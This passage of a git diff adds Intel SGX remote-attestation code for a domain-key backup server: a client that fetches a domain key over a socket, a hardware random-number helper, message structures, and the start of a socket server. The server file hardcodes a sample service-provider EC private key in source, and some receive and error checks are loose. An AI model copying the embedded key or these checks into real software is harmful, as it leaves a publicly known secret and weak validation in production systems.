(SGX_SUCCESS != ret) { + log_e("failed(%d) to create enclave.\n", ret); + return -1; + } + + if (argc > 1) { + // process argv + parse_args(argc, argv); + log_i("DomainKey Server IP:\t\t%s", deploy_ip_addr.c_str()); + log_i("DomainKey Server port:\t%d", deploy_port); + ret = Initialize_ra(deploy_ip_addr, deploy_port); + if (ret != 0) { + sgx_destroy_enclave(g_enclave_id); + return -1; + } + } + + log_i("Service name:\t\tDomainKey Provisioning Service"); + log_i("Service built:\t\t%s", KMS_DATE); + log_i("Service git_sha:\t\t%s", KMS_GIT_SHA); + + Initialize(); + + sgx_destroy_enclave(g_enclave_id); + + return 0; +} diff --git a/cczoo/machine_binding_key_backup/rkeyserver/App/ra_getkey.cpp b/cczoo/machine_binding_key_backup/rkeyserver/App/ra_getkey.cpp new file mode 100644 index 00000000..3c45f852 --- /dev/null +++ b/cczoo/machine_binding_key_backup/rkeyserver/App/ra_getkey.cpp @@ -0,0 +1,449 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#include +#include +#include +#include + +#include +#include "log_utils.h" + +#include +#include +#include "enclave_u.h" + +// Needed to call untrusted key exchange library APIs, i.e. sgx_ra_proc_msg2. +#include "sgx_ukey_exchange.h" + +// Needed to create enclave and do ecall. +#include "sgx_urts.h" + +// Needed to query extended epid group id. +#include "sgx_uae_epid.h" +#include "sgx_uae_quote_ex.h" +#include "log_utils.h" + +using namespace std; + +sgx_enclave_id_t g_enclave_id; + +namespace ra_getkey { + +static bool SendAll(int32_t sock, const void *data, int32_t data_size) +{ + const char *data_ptr = (const char*) data; + int32_t bytes_sent; + + while (data_size > 0) + { + bytes_sent = send(sock, data_ptr, data_size, 0); + if (bytes_sent < 1) + return false; + + data_ptr += bytes_sent; + data_size -= bytes_sent; + } + + return true; +} + +static bool RecvAll(int32_t sock, void *data, int32_t data_size) +{ + char *data_ptr = (char*) data; + int32_t bytes_recv; + + while (data_size > 0) + { + bytes_recv = recv(sock, data_ptr, data_size, 0); + if (bytes_recv == 0) { + printf("the server side may closed...\n"); + return true; + } + if (bytes_recv < 0) { + printf("failed to read data\n"); + return false; + } + + data_ptr += bytes_recv; + data_size -= bytes_recv; + } + + return true; +} + +static int32_t SendAndRecvMsg(int32_t sockfd, + const ra_samp_request_header_t *p_req, + ra_samp_response_header_t **p_resp) +{ + ra_samp_response_header_t* out_msg; + int req_size, resp_size = 0; + int32_t err = NO_ERROR; + + if((NULL == p_req) || + (NULL == p_resp)) + { + return -1; + } + + /* Send a message to server */ + req_size = sizeof(ra_samp_request_header_t)+p_req->size; // req_head + req_body + + if (!SendAll(sockfd, &req_size, sizeof(req_size))) { //send req_size + printf("send req_size failed\n"); + err = ERR_GENERIC; + goto out; + } + if (!SendAll(sockfd, p_req, req_size)) { //send req + printf("send req buffer failed\n"); + err = ERR_GENERIC; + goto out; + } + + /* Receive a message from server */ + if (!RecvAll(sockfd, &resp_size, sizeof(resp_size))) { + printf("failed to get the resp size\n"); + err = ERR_GENERIC; + goto out; + } + + if (resp_size <= 0) { + printf("no msg need to read\n"); + err = ERR_GENERIC; + goto out; + } + out_msg = (ra_samp_response_header_t *)malloc(resp_size); + if (!out_msg) { + printf("allocate out_msg failed\n"); + err = ERR_NO_MEMORY; + goto out; + } + if (!RecvAll(sockfd, out_msg, resp_size)) { + printf("failed to get the data\n"); + err = ERR_GENERIC; + goto out; + } + + *p_resp = out_msg; +out: + return err; +} + +static int RetreiveDomainKey(int32_t sockfd) { + ra_samp_request_header_t* p_sessionId_req = NULL; + ra_samp_response_header_t* p_sessionId_res = NULL; + ra_samp_request_header_t *p_msg1_full = NULL; + ra_samp_response_header_t *p_msg2_full = NULL; + ra_samp_request_header_t* p_msg3_full = NULL; + ra_samp_response_header_t* p_att_result_msg_full = NULL; + + sample_ra_att_result_msg_t *p_att_result_msg_body = NULL; + ra_samp_request_header_t* p_finalize_sessionId_req = NULL; + ra_samp_response_header_t* p_finalize_sessionId_res = NULL; + + sgx_ra_msg2_t* p_msg2_body = NULL; + sgx_ra_msg3_t *p_msg3 = NULL; + sesion_id_t sessionID = {0}; + + uint32_t msg3_size = 0; + int busy_retry_time = 4; + int enclave_lost_retry_time = 1; + sgx_ra_context_t context = INT_MAX; //uint32_t + sgx_status_t status = SGX_SUCCESS; + int ret = -1; + + sgx_att_key_id_t selected_key_id = {0}; //acutally not used in our case + + do { + ret = enclave_init_ra(g_enclave_id, + &status, + false, + &context); + //Ideally, this check would be around the full attestation flow. + } while (SGX_ERROR_ENCLAVE_LOST == ret && enclave_lost_retry_time--); + + if(SGX_SUCCESS != ret || status) { + ret = -1; + log_e("Error, call enclave_init_ra failed."); + goto CLEANUP; + } + + // call initsession and get sessionid + // stroe sessionid to g_sessionid + // msg1\msg3 will add sessionid in their header + p_sessionId_req = (ra_samp_request_header_t*) + malloc(sizeof(ra_samp_request_header_t)); + if(NULL == p_sessionId_req) { + ret = -1; + goto CLEANUP; + } + p_sessionId_req->type = TYPE_RA_GET_SESSION_ID_REQ; + p_sessionId_req->size = 0; + SendAndRecvMsg(sockfd, p_sessionId_req, &p_sessionId_res); + if(!p_sessionId_res) { + log_e("Error, get session id failed."); + ret = -1; + goto CLEANUP; + } + if(TYPE_RA_GET_SESSION_ID_RES != p_sessionId_res->type) { + log_e("Error, Session id response type is not matched!"); + ret = -1; + goto CLEANUP; + } + log_d("session id recieved success!"); + memcpy_s(sessionID, SESSION_ID_SIZE, p_sessionId_res->sessionId, SESSION_ID_SIZE); + + /* Allocate MSG1 buf to call libukey_exchange API to retrieve MSG1 */ + p_msg1_full = (ra_samp_request_header_t*) + malloc(sizeof(ra_samp_request_header_t) + + sizeof(sgx_ra_msg1_t)); + if(NULL == p_msg1_full) { + ret = -1; + goto CLEANUP; + } + p_msg1_full->type = TYPE_RA_MSG1; + p_msg1_full->size = sizeof(sgx_ra_msg1_t); + memcpy_s(p_msg1_full->sessionId, SESSION_ID_SIZE, sessionID, SESSION_ID_SIZE); + + do + { + ret = sgx_ra_get_msg1_ex(&selected_key_id, context, g_enclave_id, sgx_ra_get_ga, + (sgx_ra_msg1_t*)((uint8_t*)p_msg1_full + + sizeof(ra_samp_request_header_t))); + //sleep(3); // Wait 3s between retries + } while (SGX_ERROR_BUSY == ret && busy_retry_time--); + + if(SGX_SUCCESS != ret) { + log_e("Error, call sgx_ra_get_msg1_ex failed(%#x)", ret); + ret = -1; + goto CLEANUP; + } + log_d("Call sgx_ra_get_msg1_ex success, the MSG1 body generated."); + + log_d("Sending MSG1 to remote attestation service provider, and expecting MSG2 back..."); + SendAndRecvMsg(sockfd, p_msg1_full, &p_msg2_full); + if(!p_msg2_full) { + log_e("Error,sending MSG1 failed."); + ret = -1; + goto CLEANUP; + } + + /* Successfully sent MSG1 and received a MSG2 back. */ + if(TYPE_RA_MSG2 != p_msg2_full->type) { + log_e("Error, MSG2's type is not matched!"); + ret = -1; + goto CLEANUP; + } + + //PRINT_BYTE_ARRAY(OUTPUT, p_msg2_full, (uint32_t)sizeof(ra_samp_response_header_t) + p_msg2_full->size); + log_d("MSG2 recieved success!"); + + /* Call lib key_u(t)exchange(sgx_ra_proc_msg2_ex) to process the MSG2 and retrieve MSG3 back. */ + p_msg2_body = (sgx_ra_msg2_t*)((uint8_t*)p_msg2_full + sizeof(ra_samp_response_header_t)); + + busy_retry_time = 2; + do + { + ret = sgx_ra_proc_msg2_ex(&selected_key_id, + context, + g_enclave_id, + sgx_ra_proc_msg2_trusted, + sgx_ra_get_msg3_trusted, + p_msg2_body, + p_msg2_full->size, + &p_msg3, + &msg3_size); + } while (SGX_ERROR_BUSY == ret && busy_retry_time--); + if(!p_msg3 || (SGX_SUCCESS != (sgx_status_t)ret)) { + log_e("Error(%d), call sgx_ra_proc_msg2_ex failed, p_msg3 = 0x%p.", ret, p_msg3); + goto CLEANUP; + } + log_d("Call sgx_ra_proc_msg2_ex success."); + + p_msg3_full = (ra_samp_request_header_t*)malloc(sizeof(ra_samp_request_header_t) + msg3_size); + if(NULL == p_msg3_full) { + ret = -1; + goto CLEANUP; + } + p_msg3_full->type = TYPE_RA_MSG3; + p_msg3_full->size = msg3_size; + memcpy_s(p_msg3_full->sessionId, SESSION_ID_SIZE, sessionID, SESSION_ID_SIZE); + + if(memcpy_s(p_msg3_full->body, msg3_size, p_msg3, msg3_size)) { + log_e("Error: memcpy failed."); + ret = -1; + goto CLEANUP; + } + + // The ISV application sends msg3 to the SP to get the attestation + // result message, attestation result message needs to be freed when + // no longer needed. The ISV service provider decides whether to use + // linkable or unlinkable signatures. The format of the attestation + // result is up to the service provider. This format is used for + // demonstration. Note that the attestation result message makes use + // of both the MK for the MAC and the SK for the secret. These keys are + // established from the SIGMA secure channel binding. + log_d("Sending MSG3 to remote attestation service provider," + "expecting attestation result msg back..."); + SendAndRecvMsg(sockfd, p_msg3_full, &p_att_result_msg_full); + if(ret || !p_att_result_msg_full) { + ret = -1; + log_e("Error, sending MSG3 failed."); + goto CLEANUP; + } + + p_att_result_msg_body = (sample_ra_att_result_msg_t *)((uint8_t*)p_att_result_msg_full + + sizeof(ra_samp_response_header_t)); + if(TYPE_RA_ATT_RESULT != p_att_result_msg_full->type) { + ret = -1; + log_e("Error, the attestaion MSG's type is not matched!"); + goto CLEANUP; + } + + log_d("Attestation result MSG recieved success!"); + + /* + * Check the MAC using MK on the attestation result message. + * The format of the attestation result message is specific(sample_ra_att_result_msg_t). + */ + ret = enclave_verify_att_result_mac(g_enclave_id, + &status, + context, + (uint8_t*)&p_att_result_msg_body->platform_info_blob, + sizeof(ias_platform_info_blob_t), + (uint8_t*)&p_att_result_msg_body->mac, + sizeof(sgx_mac_t)); + if((SGX_SUCCESS != ret) || + (SGX_SUCCESS != status)) { + ret = -1; + log_e("Error: Attestation result MSG's MK based cmac check failed"); + goto CLEANUP; + } + + log_d("Verify attestation result is succeed!"); + + ret = enclave_store_domainkey(g_enclave_id, + &status, + context, + p_att_result_msg_body->secret.payload, + p_att_result_msg_body->secret.payload_size, + p_att_result_msg_body->secret.payload_tag); + if((SGX_SUCCESS != ret) || (SGX_SUCCESS != status)) { + log_e("Error(%d), decrypt secret using SK based on AES-GCM failed.", ret); + ret = -1; + goto CLEANUP; + } + + // after domainkey verify, call finalize session id + p_finalize_sessionId_req = (ra_samp_request_header_t*) + malloc(sizeof(ra_samp_request_header_t)); + if(NULL == p_finalize_sessionId_req) { + ret = -1; + goto CLEANUP; + } + p_finalize_sessionId_req->type = TYPE_RA_FINALIZE_SESSION_ID_REQ; + p_finalize_sessionId_req->size = 0; + memcpy_s(p_finalize_sessionId_req->sessionId, SESSION_ID_SIZE, sessionID, SESSION_ID_SIZE); + SendAndRecvMsg(sockfd, p_finalize_sessionId_req, &p_finalize_sessionId_res); + if(!p_finalize_sessionId_res) { + log_e("Error, send finalize session id failed."); + ret = -1; + goto CLEANUP; + } + if(TYPE_RA_FINALIZE_SESSION_ID_RES != p_finalize_sessionId_res->type) { + log_e("Error, finalize session id response type is not matched!"); + ret = -1; + goto CLEANUP; + } + log_d("call finalize session id success!"); + +CLEANUP: + // Clean-up + // Need to close the RA key state. + if(INT_MAX != context) { + int ret_save = ret; + ret = enclave_ra_close(g_enclave_id, &status, context); + if(SGX_SUCCESS != ret || status) { + log_e("Error, call enclave_ra_close fail [%#x].",ret); + } + else { + // enclave_ra_close was successful, let's restore the value that + // led us to this point in the code. + ret = ret_save; + } + log_d("Call enclave_ra_close success."); + } + SAFE_FREE(p_sessionId_req); + SAFE_FREE(p_sessionId_res); + SAFE_FREE(p_msg1_full); + SAFE_FREE(p_msg2_full); + SAFE_FREE(p_msg3); + SAFE_FREE(p_msg3_full); + SAFE_FREE(p_att_result_msg_full); + SAFE_FREE(p_finalize_sessionId_req); + SAFE_FREE(p_finalize_sessionId_res); + + return ret; +} + +int32_t Initialize_ra(std::string deploy_ip_addr, uint32_t deploy_port) { + log_i("Applying for a DomainKey from KMS domainKey server."); + int32_t ret = -1; + int32_t retry_count = 5; + struct sockaddr_in serAddr; + int32_t sockfd = -1; + + sockfd = socket(AF_INET, SOCK_STREAM, 0); + if(sockfd < 0) { + printf("Create socket failed\n"); + exit(1); + } + bzero(&serAddr, sizeof(serAddr)); + serAddr.sin_family = AF_INET; + serAddr.sin_port = htons(deploy_port); + serAddr.sin_addr.s_addr = inet_addr(deploy_ip_addr.c_str()); + + do { + if(connect(sockfd, (struct sockaddr*)&serAddr, sizeof(serAddr)) >= 0) { + break; + } + else if (retry_count > 0) { + log_w("Failed to Connect rkeyserver, sleep 0.5s and try again...\n"); + usleep(500000); // 0.5 s + } + else { + log_e("Failed to connect rkeyserver\n"); + goto out; + } + } while (retry_count-- > 0); + + /* retrieve the domain key from rkeyserver via remote secure channel */ + ret = RetreiveDomainKey(sockfd); + if (ret != 0) { + log_e("Failed(%d) to setup the secure channel.\n", ret); + goto out; + } + + log_i("Successfully received the DomainKey from deploy server."); + +out: + close(sockfd); + return ret; +} + +} diff --git a/cczoo/machine_binding_key_backup/rkeyserver/App/ra_getkey.h b/cczoo/machine_binding_key_backup/rkeyserver/App/ra_getkey.h new file mode 100644 index 00000000..2dcccd81 --- /dev/null +++ b/cczoo/machine_binding_key_backup/rkeyserver/App/ra_getkey.h @@ -0,0 +1,36 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _RA_GETKEY_H_ +#define _RA_GETKEY_H_ + +#include +#include +#include +#include "datatypes.h" +#include "sample_ra_msg.h" + +using namespace std; + +namespace ra_getkey { + +int32_t Initialize_ra(std::string deploy_ip_addr, uint32_t deploy_port); + +} + +#endif diff --git a/cczoo/machine_binding_key_backup/rkeyserver/App/rand.cpp b/cczoo/machine_binding_key_backup/rkeyserver/App/rand.cpp new file mode 100644 index 00000000..b0e4756f --- /dev/null +++ b/cczoo/machine_binding_key_backup/rkeyserver/App/rand.cpp @@ -0,0 +1,131 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#include "rand.h" +#include "ecp.h" + +uint32_t g_drng_feature = 0; + +static void __cpuid(uint64_t cpu_info[4], uint64_t leaf, uint64_t subleaf) +{ + __asm__ __volatile__ ( + "cpuid;" + : "=a" (cpu_info[0]), + "=b" (cpu_info[1]), + "=c" (cpu_info[2]), + "=d" (cpu_info[3]) + : "a" (leaf), "c" (subleaf) + : "cc" + ); +} + +void get_drng_support(void) +{ + uint64_t info[4]; + + __cpuid(info, 1, 0); + if ((info[2] & 0x40000000) == 0x40000000) { + g_drng_feature |= DRNG_HAS_RDRAND; + } + + __cpuid(info, 7, 0); + if ((info[1] & 0x40000) == 0x40000) { + g_drng_feature |= DRNG_HAS_RDSEED; + } +} + +static int rdseed32(uint32_t *out) +{ + uint8_t ret; + int i; + + for (i = 0; i < DRNG_MAX_TRIES; i++) { + __asm__ __volatile__ ( + "RDSEED %0;" + "setc %1;" + : "=r"(*out), "=qm"(ret) + ); + + if (ret) + return 0; + } + + return -1; +} + +static int rdrand32(uint32_t *out) +{ + uint8_t ret; + int i; + + for (i = 0; i < DRNG_MAX_TRIES; i++) { + __asm__ __volatile__ ( + "RDRAND %0;" + "setc %1;" + : "=r"(*out), "=qm"(ret) + ); + + if (ret) + return 0; + } + + return -1; +} + +static int drng_rand32(uint32_t *out) +{ + int rc = -1; + + if (g_drng_feature & DRNG_HAS_RDSEED) { + rc = rdseed32(out); + if (0 == rc) + return rc; + } + + if (g_drng_feature & DRNG_HAS_RDRAND) { + rc = rdrand32(out); + if (0 != rc) + printf("failed with rdrand32\n"); + } + + return rc; +} + +int get_random(uint8_t *buf, size_t len) +{ + uint32_t i; + + if (len % 4) { + printf("the len isn't multiple of 4bytes\n"); + return -1; + } + + for (i = 0; i < len; i += 4) { + uint32_t tmp_buf = 0; + if (0 != drng_rand32(&tmp_buf)) { + printf("failed with rdrng_rand32:%d.\n", i); + return -1; + } + + if (0 != memcpy_s(buf + i, sizeof(tmp_buf), &tmp_buf, sizeof(tmp_buf))) + return -1; + } + + return 0; +} + diff --git a/cczoo/machine_binding_key_backup/rkeyserver/App/rand.h b/cczoo/machine_binding_key_backup/rkeyserver/App/rand.h new file mode 100644 index 00000000..599a1d02 --- /dev/null +++ b/cczoo/machine_binding_key_backup/rkeyserver/App/rand.h @@ -0,0 +1,35 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _RAND_H +#define _RAND_H + +#include +#include +#include +#include +#include + +#define DRNG_HAS_RDRAND 0X1 +#define DRNG_HAS_RDSEED 0X2 +#define DRNG_MAX_TRIES 4 + +void get_drng_support(void); +int get_random(uint8_t *buf, size_t len); + +#endif diff --git a/cczoo/machine_binding_key_backup/rkeyserver/App/sample_ra_msg.h b/cczoo/machine_binding_key_backup/rkeyserver/App/sample_ra_msg.h new file mode 100644 index 00000000..4c08a922 --- /dev/null +++ b/cczoo/machine_binding_key_backup/rkeyserver/App/sample_ra_msg.h @@ -0,0 +1,223 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _SAMPLE_RA_MSG_ +#define _SAMPLE_RA_MSG_ + +#include +#include + +#include "ecp.h" +#include "sgx_quote.h" +#include "sgx_qve_header.h" +#include "sgx_ql_quote.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Enum for all possible message types between the ISV app and + * the ISV SP. Requests and responses in the remote attestation + * sample. + */ +typedef enum _ra_msg_type_t +{ + TYPE_RA_MSG0 = 0, + TYPE_RA_MSG1, + TYPE_RA_MSG2, + TYPE_RA_MSG3, + TYPE_RA_ATT_RESULT, + TYPE_RA_RETRIEVE_DK, + TYPE_RA_GET_SESSION_ID_REQ, + TYPE_RA_GET_SESSION_ID_RES, + TYPE_RA_FINALIZE_SESSION_ID_REQ, + TYPE_RA_FINALIZE_SESSION_ID_RES, +}ra_msg_type_t; + +typedef enum { + SP_OK, + SP_UNSUPPORTED_EXTENDED_EPID_GROUP, + SP_INTEGRITY_FAILED, + SP_QUOTE_VERIFICATION_FAILED, + SP_IAS_FAILED, + SP_INTERNAL_ERROR, + SP_PROTOCOL_ERROR, + SP_QUOTE_VERSION_ERROR, +} sp_ra_msg_status_t; + +// These status should align with the definition in IAS API spec(rev 0.6) +#define ISVSVN_SIZE 2 +#define PSDA_SVN_SIZE 4 +#define GID_SIZE 4 +#define PSVN_SIZE 18 + +#define SAMPLE_REPORT_DATA_SIZE 64 +#define SAMPLE_CPUSVN_SIZE 16 +#define SAMPLE_SP_TAG_SIZE 16 +#define SAMPLE_SP_IV_SIZE 12 + +#define SGX_DOMAIN_KEY_SIZE 16 + +#ifndef SAMPLE_FEBITSIZE + #define SAMPLE_FEBITSIZE 256 +#endif + +#define SAMPLE_ECP_KEY_SIZE (SAMPLE_FEBITSIZE/8) + +#define SAMPLE_HASH_SIZE 32 // SHA256 +#define SAMPLE_MAC_SIZE 16 // Message Authentication Code +#define SESSION_ID_SIZE 16 // sessionId length + +/*Key Derivation Function ID : 0x0001 AES-CMAC Entropy Extraction and Key Expansion*/ +const uint16_t SAMPLE_AES_CMAC_KDF_ID = 0x0001; + +#define SAMPLE_NISTP256_KEY_SIZE (SAMPLE_FEBITSIZE/ 8 /sizeof(uint32_t)) + +#define SAMPLE_SP_TAG_SIZE 16 + +#define SAMPLE_QUOTE_UNLINKABLE_SIGNATURE 0 +#define SAMPLE_QUOTE_LINKABLE_SIGNATURE 1 + +#pragma pack(push, 1) + +typedef uint8_t sample_epid_group_id_t[4]; +typedef uint8_t sample_report_data_t[SAMPLE_REPORT_DATA_SIZE]; +typedef uint8_t sample_mac_t[SAMPLE_MAC_SIZE]; + +typedef struct sample_ec_pub_t +{ + uint8_t gx[SAMPLE_ECP_KEY_SIZE]; + uint8_t gy[SAMPLE_ECP_KEY_SIZE]; +} sample_ec_pub_t; + +typedef struct sample_ec_sign256_t +{ + uint32_t x[SAMPLE_NISTP256_KEY_SIZE]; + uint32_t y[SAMPLE_NISTP256_KEY_SIZE]; +} sample_ec_sign256_t; + +typedef struct sample_spid_t +{ + uint8_t id[16]; +} sample_spid_t; + +typedef struct sp_aes_gcm_data_t { + uint32_t payload_size; /* 0: Size of the payload which is*/ + /* encrypted*/ + uint8_t reserved[12]; /* 4: Reserved bits*/ + uint8_t payload_tag[SAMPLE_SP_TAG_SIZE]; + /* 16: AES-GMAC of the plain text,*/ + /* payload, and the sizes*/ + uint8_t payload[]; /* 32: Ciphertext of the payload*/ + /* followed by the plain text*/ +} sp_aes_gcm_data_t; + +typedef struct ias_platform_info_blob_t +{ + sgx_quote_nonce_t nonce; + sgx_ql_qv_result_t quote_verification_result; + sgx_ql_qe_report_info_t qve_report_info; +} ias_platform_info_blob_t; + +/*fixed length to align with internal structure*/ +typedef struct sample_ps_sec_prop_desc_t +{ + uint8_t sample_ps_sec_prop_desc[256]; +} sample_ps_sec_prop_desc_t; + + +typedef struct sample_ra_msg1_t +{ + sample_ec_pub_t g_a; /* the Endian-ness of Ga is + Little-Endian*/ + sample_epid_group_id_t gid; /* the Endian-ness of GID is + Little-Endian*/ +} sample_ra_msg1_t; + +typedef struct sample_ra_msg2_t +{ + sample_ec_pub_t g_b; /* the Endian-ness of Gb is + Little-Endian*/ + sample_spid_t spid; /* In little endian*/ + uint16_t quote_type; /* unlinkable Quote(0) or linkable Quote(0) in little endian*/ + uint16_t kdf_id; /* key derivation function id in little endian. + 0x0001 for AES-CMAC Entropy Extraction and Key Derivation */ + sample_ec_sign256_t sign_gb_ga; /* In little endian*/ + sample_mac_t mac; /* mac_smk(g_b||spid||quote_type|| + sign_gb_ga)*/ + uint32_t sig_rl_size; + uint8_t sig_rl[]; +} sample_ra_msg2_t; + +typedef struct sample_ra_msg3_t +{ + sample_mac_t mac; /* mac_smk(g_a||ps_sec_prop||quote)*/ + sample_ec_pub_t g_a; /* the Endian-ness of Ga is*/ + /* Little-Endian*/ + sample_ps_sec_prop_desc_t ps_sec_prop; + uint8_t quote[]; +} sample_ra_msg3_t; + + +typedef struct sample_ra_att_result_msg_t { + ias_platform_info_blob_t platform_info_blob; + sample_mac_t mac; /* mac_smk(attestation_status)*/ + sp_aes_gcm_data_t secret; +} sample_ra_att_result_msg_t; + +typedef uint8_t sesion_id_t[SESSION_ID_SIZE]; + +typedef struct _ra_samp_request_header_t{ + uint8_t type; /* set to one of ra_msg_type_t*/ + uint32_t size; /*size of request body*/ + uint8_t align[3]; + sesion_id_t sessionId; /* the session Id generate from rkeyserver */ + uint8_t body[]; +}ra_samp_request_header_t; + +typedef struct _ra_samp_response_header_t{ + uint8_t type; /* set to one of ra_msg_type_t*/ + uint8_t status[2]; + uint32_t size; /*size of the response body*/ + uint8_t align[1]; + sesion_id_t sessionId; /* the session Id generate from rkeyserver */ + uint8_t body[]; +}ra_samp_response_header_t; + +// This is a context data structure used on SP side +typedef struct _sp_db_item_t +{ + sample_ec_pub_t g_a; + sample_ec_pub_t g_b; + sample_ec_key_128bit_t vk_key;// Shared secret key for the REPORT_DATA + sample_ec_key_128bit_t mk_key;// Shared secret key for generating MAC's + sample_ec_key_128bit_t sk_key;// Shared secret key for encryption + sample_ec_key_128bit_t smk_key;// Used only for SIGMA protocol + sample_ec_priv_t b; + sample_ps_sec_prop_desc_t ps_sec_prop; + sesion_id_t session_id; + uint64_t expired_time; // The expiration time is 5 minutes after creation. +}sp_db_item_t; + +#pragma pack(pop) + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/cczoo/machine_binding_key_backup/rkeyserver/App/socket_server.cpp b/cczoo/machine_binding_key_backup/rkeyserver/App/socket_server.cpp new file mode 100644 index 00000000..1952c31f --- /dev/null +++ b/cczoo/machine_binding_key_backup/rkeyserver/App/socket_server.cpp @@ -0,0 +1,1088 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "sgx_quote_3.h" +#include +#include "sgx_urts.h" +#include "sgx_ql_quote.h" +#include "sgx_dcap_quoteverify.h" +#include "enclave_u.h" + +#include "ecp.h" +#include "sample_libcrypto.h" +#include "socket_server.h" +#include "rand.h" +#include "CacheController.h" +#include "log_utils.h" + +extern sgx_enclave_id_t g_enclave_id; + +namespace socket_server { + +// This is the private EC key of SP, the corresponding public EC key is +// hard coded in isv_enclave. It is based on NIST P-256 curve. +static const sample_ec256_private_t g_sp_priv_key = { + { + 0x90, 0xe7, 0x6c, 0xbb, 0x2d, 0x52, 0xa1, 0xce, + 0x3b, 0x66, 0xde, 0x11, 0x43, 0x9c, 0x87, 0xec, + 0x1f, 0x86, 0x6a, 0x3b, 0x65, 0xb6, 0xae, 0xea, + 0xad, 0x57, 0x34, 0x53, 0xd1, 0x03, 0x8c, 0x01 + } +}; + +// This is the public EC key of SP, this key is hard coded in isv_enclave. +// It is based on NIST P-256 curve. Not used in the SP code. +static const sample_ec_pub_t g_sp_pub_key = { + { + 0x72, 0x12, 0x8a, 0x7a, 0x17, 0x52, 0x6e, 0xbf, + 0x85, 0xd0, 0x3a, 0x62, 0x37, 0x30, 0xae, 0xad, + 0x3e, 0x3d, 0xaa, 0xee, 0x9c, 0x60, 0x73, 0x1d, + 0xb0, 0x5b, 0xe8, 0x62, 0x1c, 0x4b, 0xeb, 0x38 + }, + { + 0xd4, 0x81, 0x40, 0xd9, 0x50, 0xe2, 0x57, 0x7b, + 0x26, 0xee, 0xb7, 0x41, 0xe7, 0xc6, 0x14, 0xe2, + 0x24, 0xb7, 0xbd, 0xc9, 0x03, 0xf2, 0x9a, 0x28, + 0xa8, 0x3c, 0xc8, 0x10, 0x11, 0x14, 0x5e, 0x06 + } +}; + +sample_spid_t g_spid; + +static char* hexToCharIP(struct in_addr addrIP) +{ + char* ip; + unsigned int intIP; + memcpy(&intIP, &addrIP,sizeof(unsigned int)); + int a = (intIP >> 24) & 0xFF; + int b = (intIP >> 16) & 0xFF; + int c = (intIP >> 8) & 0xFF; + int d = intIP & 0xFF; + if((ip = (char*)malloc(16*sizeof(char))) == NULL) { + return NULL; + } + sprintf(ip, "%d.%d.%d.%d", d,c,b,a); + return ip; +} + +static bool RecvAll(int32_t sock, void *data, int32_t data_size) +{ + char *data_ptr = (char*) data; + int32_t bytes_recv; + + while (data_size > 0) + { + bytes_recv = recv(sock, data_ptr, data_size, 0); + if (bytes_recv == 0) { + return true; + } + if (bytes_recv < 0) { + printf("failed to read data\n"); + return false; + } + + data_ptr += bytes_recv; + data_size -= bytes_recv; + } + + return true; +} + +static bool SendAll(int32_t sock, const void *data, int32_t data_size) +{ + const char *data_ptr = (const char*) data; + int32_t bytes_sent; + + while (data_size > 0) + { + bytes_sent = send(sock, data_ptr, data_size, 0); + if (bytes_sent < 1) + return false; + + data_ptr += bytes_sent; + data_size -= bytes_sent; + } + + return true; +} + +static int32_t SendResponse(int32_t sockfd, + ra_samp_response_header_t *resp) { + uint32_t resp_size; + uint32_t ret = NO_ERROR; + + resp_size = resp->size + sizeof(ra_samp_response_header_t); + + if (!SendAll(sockfd, &resp_size, sizeof(resp_size))) { + printf("send resp_size failed\n"); + return ERR_IO; + } + if (!SendAll(sockfd, resp, resp_size)) { + printf("send out_msg failed\n"); + return ERR_IO; + } + + printf("send response success with msg type(%d)\n", resp->type); + + return ret; +} + +static int32_t SendErrResponse(int32_t sockfd, int8_t type, int8_t err) { + ra_samp_response_header_t p_err_resp_full; + memset(&p_err_resp_full, 0, sizeof(ra_samp_response_header_t)); + 